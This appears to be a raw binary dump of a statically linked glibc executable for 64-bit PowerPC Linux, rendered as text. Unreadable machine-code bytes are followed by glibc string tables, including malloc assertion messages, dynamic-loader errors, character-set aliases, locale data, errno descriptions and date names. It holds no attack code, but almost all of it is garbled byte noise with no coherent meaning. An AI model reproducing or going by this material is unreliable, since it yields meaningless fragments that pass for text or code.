```B/AK`9 9@?9 >`| } (}@-@/@-x888/8A9 1| } &U)i)D|&="`8I(bKu`8!9 "|N ```BxK˽`K`!q;=/Al|;|i*/A$`BK`/x@=;+@}#KxKe`|8!N !/@ 8`8!N ```Bp|~x/@P?/A_/@ })9_(9JB@*/Ap8!8`N `B|8cKe/A#/A0C/@})9C(H*/@h9JBKM`9 ?|KD```B|xK`9 8`>p|K|K0``B|``9"0;¹!Qi>HA$`BK`>x@`9"`)/A`;;/Ax``B>8i/@H<``B/xA(#/@K`/x@>4q)@x/@</@`9"/@`9@9"iIK`8!|N `B~Km`/@</A`\9ȁ*8@h9 j <K`KH```B/@Ka|/@|</AP\/@ })9\(9JB@4*/AaKhxK`9 ?KxK`9 a=K,A[/@d;/A8[/@ })9;(9)B@I/AAaKcxK`9 A<K!x:/@\:/A0Z/@})9:(HI/@9)BCxK`9 !x;|K; ?/A`_"0/]@X?;q*A``By($:B/@,`BP@@@Ay 2`B`9"|dP|B)|j#x9)})P9@92(}@H(9J}@I-@928}D}H|R|I@K`/@0``B;@@xKP!A|a!Aa(0```B`9@`9-8I/A0`9 ;®9y) }@)}IPQ@ }-@L,/@,?/A9)/?@`"?x9@`| } (}@-@/A0!M})Ry9@@ 8!@N `B`9M(J/Aq*@`:"y2$}R@A0s@(+@@q*@8`9M(/At`9RyJ@@@\`|P@@@H+?AyI$8}'J @@|QK8```B{d*K\`B``B:P@A}/+@8Qy)$P@@(/@-VR>1:RzR /zI$}1JI@LP@A_K``BA(xdxIi}IIN!A(Kd``Bq)@-9/@`}^@@A1q)A$*q(AD+y.$@D1H@@8/@ ?q)@?P~RJy $|H*8@ >8@8@+&@L /A@(8@ ( 0@  /A (>( ``B1`HAh} r*qAy)*Qp9`*H@+^@ (bIp>~^*+@1/@`:B92pHA`{d*HA`9"%/A=B9J*`}FSx="99)6!p="9)@<83H`B|!AaP!Aa(`9"%/@<=B8&9J*`="<9)=9!p="9)A84(<8`84Kx``9"piKu`KK``BxKfK`BPa)@P?`B/@| } (~-@/AK-~#x888/8A|} &U)i)D|&K`KJi/@}f*89k HPxn$}B9.+>Axpi9@ ?}J9.@A}'P})rX@AL0< 8} P@}CSx<aKA`?aq)@\?P_yI$}H*@@?8@8@+ (@_ /@}?r}*9@<^}^RPAt`9"%/A=B9J*`}FSx="<9)79w!p="9)@84(K@~#xKEMK4``"XB)y)$P@ArKS!K8xAK5`AK aH`@~xx9'}Jy }(HP}#J/@|~xK <=B8&9J*`K|<=B8&9J*`K@ malloc.c%s%s%s:%u: %s%sAssertion `%s' failed. arena.creplaced_arena->attached_threads > 0p->attached_threads == 0result->attached_threads == 0chunk_is_mmapped (p)munmap_chunk(): invalid pointer((size + offset) & (GLRO (dl_pagesize) - 1)) == 0aligned_OK (chunk2mem (p))prev_size (p) == offsetfree(): invalid pointerfree(): invalid sizetc_idx < TCACHE_MAX_BINSfree(): invalid next size (fast)double free or corruption (fasttop)invalid fastbin entry (free)double free or corruption (top)double free or corruption (out)double free or corruption (!prev)free(): invalid next size (normal)free(): corrupted unsorted chunksheap->ar_ptr == avchunksize_nomask (p) == (0 | PREV_INUSE)new_size > 0 && new_size < (long) (2 * MINSIZE)new_size > 0 && new_size < HEAP_MAX_SIZE((unsigned long) ((char *) p + new_size) & (pagesz - 1)) == 0((char *) p + new_size) == ((char *) heap + heap->size)/proc/sys/vm/overcommit_memory((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)(unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)break adjusted to free malloc spacecorrection >= 0((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0malloc(): memory corruption (fast)malloc(): smallbin double linked list corruptedmalloc(): memory corruptionchunk_main_arena (bck->bk)chunk_main_arena (fwd)tcache->entries[tc_idx] > 0malloc(): corrupted unsorted chunksbit != 0(unsigned long) (size) >= (unsigned long) (nb)malloc(): corrupted unsorted chunks 2malloc: top chunk is corruptnewsize >= nb && (((unsigned long) (chunk2mem (p))) % alignment) == 0realloc(): invalid old size!chunk_is_mmapped (oldp)realloc(): invalid next sizencopies >= 3(unsigned long) (newsize) >= (unsigned long) (nb)realloc(): invalid pointer!victim || chunk_is_mmapped (mem2chunk (victim)) || &main_arena == arena_for_chunk (mem2chunk (victim))!victim || chunk_is_mmapped (mem2chunk (victim)) || ar_ptr == arena_for_chunk (mem2chunk (victim))!p || chunk_is_mmapped (mem2chunk (p)) || &main_arena == arena_for_chunk (mem2chunk (p))!p || chunk_is_mmapped (mem2chunk (p)) || ar_ptr == arena_for_chunk (mem2chunk (p))a->attached_threads > 0!newp || chunk_is_mmapped (mem2chunk (newp)) || ar_ptr == arena_for_chunk (mem2chunk (newp))!mem || chunk_is_mmapped (mem2chunk (mem)) || av == arena_for_chunk (mem2chunk (mem))nclears >= 3(char *) chunk2mem (p) + 4 * SIZE_SZ <= paligned_mem(char *) p + size > paligned_memmalloc_check_get_size: memory corruptionArena %d: system bytes = %10u in use bytes = %10u Total (incl. mmap): max mmap regions = %10u max mmap bytes = %10lu mtrim__libc_calloc_mid_memalign__libc_reallocremove_from_free_listdetach_arenaget_free_list__libc_malloc_int_reallocmremap_chunkmunmap_chunkheap_trim_int_freesysmalloctcache_gettcache_put_int_malloc_int_memalignarena_thread_freeresUnknown error  ( ANSI_X3.4-1968//TRANSLITmbsrtowcs_l.c((wchar_t *) data.__outbuf)[-1] == L'\0'result > 0__mbsinit (data.__statep)status == __GCONV_OK || status == __GCONV_EMPTY_INPUT || status == __GCONV_ILLEGAL_INPUT || status == __GCONV_INCOMPLETE_INPUT || status == __GCONV_FULL_OUTPUT__mbsrtowcs_l/usr/lib/getconfGETCONF_DIR/POSIX_V6_/proc/sys/kernel/ngroups_maxILP32_OFF32ILP32_OFFBIG/proc/sys/kernel/rtsig-max...../sysdeps/unix/sysv/linux/getcwd.cerrno != ERANGE || buf != NULL || size != 0__getcwd../sysdeps/unix/sysv/linux/getpagesize.cGLRO(dl_pagesize) != 0__getpagesize../sysdeps/unix/sysv/linux/getsysstats.c*cp <= *re/sys/devices/system/cpu/online/proc/statcpu/proc/cpuinfoprocessor/sys/devices/system/cpunext_lineThe futex facility returned an unexpected error code.stack smashing detected*** %s ***: %s terminated GLIBC_TUNABLES/etc/suid-debugglibc.elision.skip_lock_after_retriesglibc.malloc.trim_thresholdMALLOC_TRIM_THRESHOLD_glibc.malloc.perturbMALLOC_PERTURB_glibc.elision.triesglibc.elision.enableglibc.elision.skip_lock_busyglibc.malloc.top_padMALLOC_TOP_PAD_glibc.malloc.mmap_maxMALLOC_MMAP_MAX_glibc.elision.skip_trylock_internal_abortglibc.malloc.tcache_unsorted_limitglibc.elision.skip_lock_internal_abortglibc.tune.hwcap_maskLD_HWCAP_MASKglibc.malloc.arena_maxMALLOC_ARENA_MAXglibc.malloc.mmap_thresholdMALLOC_MMAP_THRESHOLD_glibc.malloc.tcache_countglibc.malloc.arena_testMALLOC_ARENA_TESTglibc.tune.cached_memoptglibc.malloc.tcache_maxglibc.malloc.checkMALLOC_CHECK_powerppc970-cell-bea2405440464476/var/tmp/var/profileGCONV_PATHGETCONF_DIRHOSTALIASESLD_AUDITLD_DEBUGLD_DEBUG_OUTPUTLD_DYNAMIC_WEAKLD_HWCAP_MASKLD_LIBRARY_PATHLD_ORIGIN_PATHLD_PRELOADLD_PROFILELD_SHOW_AUXVLD_USE_LOAD_BIASLOCALDOMAINLOCPATHMALLOC_TRACENIS_PATHNLSPATHRESOLV_HOST_CONFRES_OPTIONSTMPDIRTZDIRppcletrue_learchpmuvsxarch_2_06power6xdfppa6tarch_2_05ic_snoopsmtbookecellbepower5+power5power4notbefpdoubleefpsinglespeucache4xxmacmmufpualtivecppc601ppc64ppc32htm-no-suspendscvdarnieee128arch_3_00htm-noscvcryptotariselebbdscrhtmarch_2_07LD_WARNsetup-vdso.hph->p_type != PT_TLSget-dynamic-info.hinfo[DT_PLTREL]->d_un.d_val == DT_RELAinfo[DT_RELAENT]->d_un.d_val == sizeof (ElfW(Rela)) WARNING: Unsupported flag value(s) of 0x%x in DT_FLAGS_1. out of memory LD_LIBRARY_PATHLD_BIND_NOWLD_BIND_NOTLD_DYNAMIC_WEAKLD_PROFILE_OUTPUTLD_ASSUME_KERNELelf_get_dynamic_infosetup_vdso/proc/sys/kernel/osrelease,IGNORE//gconv.cirreversible != NULLoutbuf != NULL && *outbuf != NULL__gconvgconv_db.cstep->__end_fct == NULL-__gconv_release_stepUCS4//ISO-10646/UCS4/UCS-4//ISO-10646/UCS4/UCS-4BE//ISO-10646/UCS4/CSUCS4//ISO-10646/UCS4/ISO-10646//ISO-10646/UCS4/10646-1:1993//ISO-10646/UCS4/10646-1:1993/UCS4/ISO-10646/UCS4/OSF00010104//ISO-10646/UCS4/OSF00010105//ISO-10646/UCS4/OSF00010106//ISO-10646/UCS4/WCHAR_T//INTERNALUTF8//ISO-10646/UTF8/UTF-8//ISO-10646/UTF8/ISO-IR-193//ISO-10646/UTF8/OSF05010001//ISO-10646/UTF8/ISO-10646/UTF-8/ISO-10646/UTF8/UCS2//ISO-10646/UCS2/UCS-2//ISO-10646/UCS2/OSF00010100//ISO-10646/UCS2/OSF00010101//ISO-10646/UCS2/OSF00010102//ISO-10646/UCS2/ANSI_X3.4//ANSI_X3.4-1968//ISO-IR-6//ANSI_X3.4-1968//ANSI_X3.4-1986//ANSI_X3.4-1968//ISO_646.IRV:1991//ANSI_X3.4-1968//ASCII//ANSI_X3.4-1968//ISO646-US//ANSI_X3.4-1968//US-ASCII//ANSI_X3.4-1968//US//ANSI_X3.4-1968//IBM367//ANSI_X3.4-1968//CP367//ANSI_X3.4-1968//CSASCII//ANSI_X3.4-1968//OSF00010020//ANSI_X3.4-1968//UNICODEBIG//ISO-10646/UCS2/UCS-2BE//ISO-10646/UCS2/UCS-2LE//UNICODELITTLE//:gconv_conf.celem != NULLcwd != NULL/usr/lib/powerpc64-linux-gnu/gconvmodulegconv-modules__gconv_get_pathISO-10646/UCS4/=INTERNAL->ucs4=ucs4->INTERNALUCS-4LE//=INTERNAL->ucs4le=ucs4le->INTERNALISO-10646/UTF8/=INTERNAL->utf8=utf8->INTERNALISO-10646/UCS2/=ucs2->INTERNAL=INTERNAL->ucs2ANSI_X3.4-1968//=ascii->INTERNAL=INTERNAL->asciiUNICODELITTLE//=ucs2reverse->INTERNAL=INTERNAL->ucs2reversegconv_builtin.ccnt < sizeof (map) / sizeof (map[0])__gconv_get_builtin_trans../iconv/skeleton.coutbufstart == NULLinend - *inptrp < 4gconv_simple.c*outptrp + 4 > outend../iconv/loop.c(state->__count & 7) <= sizeof (state->__value)inptr - bytebuf > (state->__count & 7)inend != &bytebuf[MAX_NEEDED_INPUT]inend - inptr > (state->__count & ~7)inend - inptr <= sizeof (state->__value)outbuf == outerrnstatus == __GCONV_FULL_OUTPUTch != 0xc0 && ch != 0xc1internal_ucs2reverse_loop_single__gconv_transform_internal_ucs2reverseucs2reverse_internal_loop_single__gconv_transform_ucs2reverse_internalinternal_ucs2_loop_single__gconv_transform_internal_ucs2ucs2_internal_loop_single__gconv_transform_ucs2_internalutf8_internal_loop_single__gconv_transform_utf8_internalinternal_utf8_loop_single__gconv_transform_internal_utf8internal_ascii_loop_single__gconv_transform_internal_ascii__gconv_transform_ascii_internalucs4le_internal_loop_unaligneducs4le_internal_loop__gconv_transform_ucs4le_internalinternal_ucs4le_loop_unaligned__gconv_transform_internal_ucs4le__gconv_transform_ucs4_internal__gconv_transform_internal_ucs4GCONV_PATH/usr/lib/powerpc64-linux-gnu/gconv/gconv-modules.cachegconv_dl.cobj->counter > 0found->handle == NULLgconvgconv_initgconv_enddo_release_shlib__gconv_find_shlib   LC_COLLATELC_CTYPELC_MONETARYLC_NUMERICLC_TIMELC_MESSAGESLC_PAPERLC_NAMELC_ADDRESSLC_TELEPHONELC_MEASUREMENTLC_IDENTIFICATION +3?HP[hwLOCPATHn- /../LC_ALLLANGfindlocale.clocale_codeset != NULL_nl_find_locale/usr/lib/localeV.    x   d X <  d      loadlocale.ccategory == LC_CTYPE/SYS__nl_intern_locale_dataloadarchive.cheadmap.len == archive_stat.st_sizearchmapped == &headmap_nl_archive_subfreeres_nl_load_locale_from_archive/usr/lib/locale/locale-archiveupperloweralphadigitxdigitspaceprintgraphblankcntrlpunctalnumtouppertolower8HHHHHI( (xx>>~~~~     !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~     `     ` (C)<<-(R)u,>> 1/4 1/2 3/4 AExssaeIJij'nOEoesLJLjljNJNjnjDZDzdz'^'`_:~ -------'','"",,"+o...... ``````<>!!/???!!? C=RsEURINRa/ca/sCc/oc/ugHHHhIILlNNoPQRRRTEL(TM)ZOhmZBCeeEFMoiDdeij 1/3 2/3 1/5 2/5 3/5 4/5 1/6 5/6 1/8 3/8 5/8 7/8 1/IIIIIIIVVVIVIIVIIIIXXXIXIILCDMiiiiiiivvviviiviiiixxxixiilcdm<--><-><==><=>-/\*|:~<=>=<<>><<<>>>NULSOHSTXETXEOTENQACKBELBSHTLFVTFFCRSOSIDLEDC1DC2DC3DC4NAKSYNETBCANEMSUBESCFSGSRSUSSPDEL_NL(1)(2)(3)(4)(5)(6)(7)(8)(9)(10)(11)(12)(13)(14)(15)(16)(17)(18)(19)(20)(1)(2)(3)(4)(5)(6)(7)(8)(9)(10)(11)(12)(13)(14)(15)(16)(17)(18)(19)(20)1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.(a)(b)(c)(d)(e)(f)(g)(h)(i)(j)(k)(l)(m)(n)(o)(p)(q)(r)(s)(t)(u)(v)(w)(x)(y)(z)(A)(B)(C)(D)(E)(F)(G)(H)(I)(J)(K)(L)(M)(N)(O)(P)(Q)(R)(S)(T)(U)(V)(W)(X)(Y)(Z)(a)(b)(c)(d)(e)(f)(g)(h)(i)(j)(k)(l)(m)(n)(o)(p)(q)(r)(s)(t)(u)(v)(w)(x)(y)(z)(0)-|+++++++++o::====== =(21)(22)(23)(24)(25)(26)(27)(28)(29)(30)(31)(32)(33)(34)(35)(36)(37)(38)(39)(40)(41)(42)(43)(44)(45)(46)(47)(48)(49)(50)hPadaAUbaroVpcpAnAuAmAkAKBMBGBcalkcalpFnFuFugmgkgHzkHzMHzGHzTHzulmldlklfmnmummmcmkmmm^2cm^2m^2km^2mm^3cm^3m^3km^3m/sm/s^2PakPaMPaGParadrad/srad/s^2psnsusmspVnVuVmVkVMVpWnWuWmWkWMWa.m.BqcccdC/kgCo.dBGyhaHPinKKKMktlmlnloglxmbmilmolPHp.m.PPMPRsrSvWbfffiflffifflst+___,.;:?!(){}#&*+-<>=\$%@!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzACDGJKNOPQSTUVWXYZabcdfhijkmnpqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABDEFGJKLMNOPQSTUVWXYabcdefghijklmnopqrstuvwxyzABDEFGIJKLMOSTUVWXYabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567890123456789012345678901234567890123456789 %,37:>BFJNRVY]aeimquy} !%*/49<AFILORUX[^adhknqtw|  #',269=BEHKNQUZ^aejptw{  "',16;@EJNSX\`dhlqtx}  &,28>DJPVZ^bfjnrvz $).38=BGLQV[`ejoty~ #(-27<?BEHKNQTWZ]`einqtz "(-15:>BFJNRVZ^bgmquy} '+/37;?CGKOSW[_cgmquy              " % ( + . 1 4 7 : = @ C F I L O R U X [ ^ a d g j l o r u x { ~          # & ) , / 2 5 8 ; > A D G J M P S V Y \ _ b e h k n q t w z }          " % ( + . 1 4 7 : = @ C F I L O R U X [ ^ a d g j m p s v y |          ! $ ' * - 0 3 6 9 < ? B E H K N Q T W Z ] ` c f i l o r u x { ~          # & ) , / 2 5 8 ; > A D G J M P S V Y \ _ b e h k n q t w z }   "%(+.147:=@CFILORUX[^adgjmpsvy|  !$'*-0369<?BEHKNQTWZ]`cfilorux{~  #&),/258;>ADGJMPSVY\_behknqtwz}  "%(+.147:=@CFILORUX[^adgjmpsvy|  !$'*-0369<?BEHKNQTWZ]`cfilorux{~23IRS                     " $ % & / 5 6 7 9 : < D G H I _ ` a b c !!!!!! ! ! ! !!!!!!!!!!!!!!!"!$!&!(!,!-!.!/!0!1!3!4!9!E!F!G!H!I!S!T!U!V!W!X!Y!Z![!\!]!^!_!`!a!b!c!d!e!f!g!h!i!j!k!l!m!n!o!p!q!r!s!t!u!v!w!x!y!z!{!|!}!~!!!!!!!"""""#"6"<"d"e"j"k""$$$$$$$$$$ $ $ $ $ $$$$$$$$$$$$$$$$$$$ $!$#$$$`$a$b$c$d$e$f$g$h$i$j$k$l$m$n$o$p$q$r$s$t$u$v$w$x$y$z${$|$}$~$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$%%% %%%%%$%,%4%<%*t*u*v002Q2R2S2T2U2V2W2X2Y2Z2[2\2]2^2_2222222222222223q3r3s3t3u3v33333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333) MNOPRTUVWYZ[\_`abcdefhijk  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ԀԁԂԃԄԅԆԇԈԉԊԋԌԍԎԏԐԑԒԓԔԕԖԗԘԙԚԛԜԞԟԢԥԦԩԪԫԬԮԯ԰ԱԲԳԴԵԶԷԸԹԻԽԾԿ    !"#$%&'()*+,-./0123456789;<=>@ABCDFJKLMNOPRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ՀՁՂՃՄՅՆՇՈՉՊՋՌՍՎՏՐՑՒՓՔՕՖ՗՘ՙ՚՛՜՝՞՟ՠաբգդեզէըթժիլխծկհձղճմյնշոչպջռսվտ      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~րցւփքօֆևֈ։֊֋֌֍֎֏֐֑֖֛֢֣֚֒֓֔֕֗֘֙֜֝֞֟֠֡  "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bdfhjlnprtvxz|~              " $ & ( * , . 0 2 4 6 8 : < > @ B D F H J L N P R T V X Z \ ^ ` b d f h j l n p r t v x z | ~              " $ & ( * , . 0 2 4 6 8 : < > @ B D F H J L N P R T V X Z \ ^ ` b d f h j l n p r t v x z | ~ 1234567890123456789?libcANSI_X3.4-1968UUUUUUUU?33333333*$I$I$qqqEt]EUUUUUUU;;I$I$I888 yC^Pה5 0 0 0 . !d, =p =p ؝؝ {B^З% $I$I$ܰ=B!B|PuPuPqq0123456789abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@@@@@@@@@@@@@@|\ @(ht@@@       @!@! $p$ #"" !!(0'`'P''''&p`%&@$%@  #@@@@@@@@@!!(0'`'P''''&p`%&@$%@  @@@@@@@@@@@!(0'`'P''''&p`%&@$%@  @@@@@@@@@@@(p@@@''''@@@@&@@@@@@@@@@@@@@@@@@@@@''''&p`%&@$%@@@@@@@@@@@@@@@'`@@''''&p`%&@$%@@@@to_outpunct(nil)vfprintf.cs->_flags2 & _IO_FLAGS2_FORTIFY*** invalid %N$ use detected *** (unsigned int) done < (unsigned int) INT_MAX(size_t) done <= (size_t) INT_MAX*** %n in writable segment detected *** __mbsinit (&mbstate)printf_positional_IO_vfprintf_internal(null)INFNANnaninfINFNANnaninf0.0001../stdio-common/printf_fphex.c*decimal != '\0' && decimalwc != L'\0'__printf_fphexTTTTTTTTTTTTTT0|TTT       ŠӠ @Ѱ` ``͐͠ʰʀ  @ ŀŀ ŠŠŠŠŠŠŠŠŠ`͐͠ʰʀ  @ ŀŀŠŠŠŠŠŠŠŠŠŠŠ`͐͠ʰʀ  @ ŀŀŠŠŠŠŠŠŠŠŠŠŠŠŠŠʰʀ ŠŠŠŠŠŠŠŠŠŠŠŠŠŠŠŠŠŠŠŠŠŠŠŠʰʀ  @ ŠŠŠŠŠŠŠŠŠŠŠŠŠŠ͠ŠŠʰʀ  @ ŠŠŠ_IO_vfwprintf(nil)(null)to_inpunctvfscanf.ccnt < MB_LEN_MAX_IO_vfscanf_internalSuccessOperation not permittedNo such file or directoryNo such processInterrupted system callInput/output errorNo such device or addressArgument list too longExec format errorBad file descriptorNo child processesResource temporarily unavailableCannot allocate memoryPermission deniedBad addressBlock device requiredDevice or resource busyFile existsInvalid cross-device linkNo such deviceNot a directoryIs a directoryInvalid argumentToo many open files in systemToo many open filesInappropriate ioctl for deviceText file busyFile too largeNo space left on deviceIllegal seekRead-only file systemToo many linksBroken pipeNumerical argument out of domainNumerical result out of rangeResource deadlock avoidedFile name too longNo locks availableFunction not implementedDirectory not emptyToo many levels of symbolic linksNo message of desired typeIdentifier removedChannel number out of rangeLevel 2 not synchronizedLevel 3 haltedLevel 3 resetLink number out of rangeProtocol driver not attachedNo CSI structure availableLevel 2 haltedInvalid exchangeInvalid request descriptorExchange fullNo anodeInvalid request codeInvalid slotFile locking deadlock errorBad font file formatDevice not a streamNo data availableTimer expiredOut of streams resourcesMachine is not on the networkPackage not installedObject is remoteLink has been severedAdvertise errorSrmount errorCommunication error on sendProtocol errorMultihop attemptedRFS specific errorBad messageValue too large for defined data typeName not unique on networkFile descriptor in bad stateRemote address changedCan not access a needed shared libraryAccessing a corrupted shared library.lib section in a.out corruptedAttempting to link in too many shared librariesCannot exec a shared library directlyInvalid or incomplete multibyte or wide characterInterrupted system call should be restartedStreams pipe errorToo many usersSocket operation on non-socketDestination address requiredMessage too longProtocol wrong type for socketProtocol not availableProtocol not supportedSocket type not supportedOperation not supportedProtocol family not supportedAddress family not supported by protocolAddress already in useCannot assign requested addressNetwork is downNetwork is unreachableNetwork dropped connection on resetSoftware caused connection abortConnection reset by peerNo buffer space availableTransport endpoint is already connectedTransport endpoint is not connectedCannot send after transport endpoint shutdownToo many references: cannot spliceConnection timed outConnection refusedHost is downNo route to hostOperation already in progressOperation now in progressStale file handleStructure needs cleaningNot a XENIX named type fileNo XENIX semaphores availableIs a named type fileRemote I/O errorDisk quota exceededNo medium foundWrong medium typeOperation canceledRequired key not availableKey has expiredKey has been revokedKey was rejected by serviceOwner diedState not recoverableOperation not possible due to RF-killMemory page has hardware error H P h        0 H p         0 @ X x         0 X x      ( H `        0 H h x        ( H h         0 @ h      0 `      8 X p       H `       8 `       8 X x       8 H ` x       0 0000000000000000 0000000000000000    ߨ  8 iofwide.c_IO_fwidembrtowc.c__mbrtowcwcrtomb.c__wcrtombwcsrtombs.cdata.__outbuf[-1] == '\0'data.__outbuf != (unsigned char *) dst__wcsrtombs/proc/self/maps/lib/powerpc64-linux-gnu//usr/lib/powerpc64-linux-gnu//lib//usr/lib/ELFELFGNU dl-load.c(l)->l_name[0] == '\0' || IS_RTLD (l)cannot create cache for search pathfile too shortcannot read file datainvalid ELF headerELF file data encoding not big-endianELF file version ident does not match current oneELF file OS ABI invalidELF file ABI version invalidnonzero padding in e_identinternal errorELF file version does not match current oneonly ET_DYN and ET_EXEC can be loadedcannot dynamically load executableELF file's phentsize not the expected size:%s
search path= (%s from file %s) (%s) trying file=%s cannot close file descriptorcannot create shared object descriptorcannot allocate memory for program headerobject file has no dynamic sectionshared object cannot be dlopen()edcannot enable executable stack as shared object requirescannot stat shared objectELF load command alignment not page-alignedELF load command address/offset not properly alignedobject file has no loadable segmentsfailed to map segment from shared objectcannot map zero-fill pagescannot change memory protectionscannot allocate name recordlastp != NULLfile=%s [%lu]; generating link map r->r_state == RT_ADDfalse && "TLS not initialized in static application"type != ET_EXEC || l->l_type == lt_executable dynamic: 0x%0*lx base: 0x%0*lx size: 0x%0*Zx entry: 0x%0*lx phdr: 0x%0*lx phnum: %*u ORIGINPLATFORMLIBlib/powerpc64-linux-gnucannot create search path arraysystem search pathpelem->dirname[0] == '/':; file=%s [%lu]; needed by %s [%lu] file=%s [%lu]; dynamically loaded by %s [%lu] cannot create RUNPATH/RPATH copynsid >= 0nsid < GL(dl_nns)find library=%s [%lu]; searching RPATHRUNPATHwrong ELF class: ELFCLASS32cannot open shared object file_dl_map_object_from_fdadd_name_to_object_dl_map_objectexpand_dynamic_string_token_dl_init_pathsdl-lookup.cversion->filename == NULL || ! _dl_name_match_p (version->filename, map)symbol=%s; lookup in file=%s [%lu] (no version symbols), version protectednormalversion == NULL || (flags & ~(DL_LOOKUP_ADD_DEPENDENCY | DL_LOOKUP_GSCOPE_LOCK)) == 0version != NULLsymbol %s version %s not defined in file %s with link time reference%srelocation errorundefined symbol: %s%s%ssymbol lookup error file=%s [%lu]; needed by %s [%lu] (relocation dependency) binding file %s [%lu] to %s [%lu]: %s symbol `%s' [%s] (bitmask_nwords & (bitmask_nwords - 1)) == 0_dl_setup_hashcheck_match_dl_lookup_symbol_xunexpected reloc type 0xunexpected PLT reloc type 0xcannot allocate memory in static TLS block (lazy)cannot make segment writable for relocationcannot restore segment prot after reloc relocation processing: %s%s ../sysdeps/powerpc/powerpc64/dl-machine.hHAVE_STATIC_TLS (map, sym_map)R_PPC64_TPREL16_LO_DSR_PPC64_TPREL16_DSR_PPC64_TPREL16R_PPC64_TPREL16_HIR_PPC64_TPREL16_HAR_PPC64_ADDR16_LO_DSR_PPC64_ADDR16_HIR_PPC64_ADDR16_HAR_PPC64_ADDR30%s: Symbol `%s' has different size in shared object, consider re-linking R_PPC64_ADDR32R_PPC64_ADDR24R_PPC64_ADDR16R_PPC64_UADDR16R_PPC64_ADDR16_DSR_PPC64_ADDR14%s: out of memory to store relocation results for %s cannot apply additional memory protection after relocationelf_machine_rela/etc/ld.so.nohwcapcannot create capability listtlsdl-hwcaps.cm == cnt_dl_important_hwcaps =???dl-misc.cpid >= 0 && sizeof (pid_t) <= 4niov < NIOVMAX! "invalid format specifier"_dl_debug_vdprintf%s: cannot open file: %s %s: cannot stat file: %s %s: cannot map file: %s %s: cannot create file: %s .profile%s: file is no correct profile data file for `%s' Out of memory while initializing profiler cannot allocate memory for thread-local data: ABORT ../elf/dl-tls.cresult <= GL(dl_tls_max_dtv_idx) + 1result == GL(dl_tls_max_dtv_idx) + 1listp->slotinfo[cnt].gen <= GL(dl_tls_generation)map->l_tls_modid == total + cntmap->l_tls_blocksize >= map->l_tls_initimage_sizelistp != NULLidx == 0cannot create TLS data structuresdlopen_dl_add_to_slotinfo_dl_allocate_tls_init_dl_next_tls_modid/proc/self/exe../sysdeps/unix/sysv/linux/dl-origin.clinkval[0] == '/'_dl_get_originFatal error: length accounting in _dl_exception_create_format Fatal error: invalid format in exception string out of memory/etc/ld.so.cache search cache=%s ld.so-1.7.0glibc-ld.so.cache1.1 reloc at 0x0000000000000000 for symbol `GLIBC_PRIVATE_dl_open_hook2_dl_open_hookerror while loading shared libraries%s: %s: %s%s%s%s%s DYNAMIC LINKER BUG!!!^[yY]^[nN]SunMonTueWedThuFriSatSundayMondayTuesdayWednesdayThursdayFridaySaturdayJanFebMarAprMayJunJulAugSepOctNovDecJanuaryFebruaryMarchAprilJuneJulyAugustSeptemberOctoberNovemberDecemberAMPM%a %b %e %H:%M:%S %Y%m/%d/%y%H:%M:%S%I:%M:%S %p%a %b %e %H:%M:%S %Z 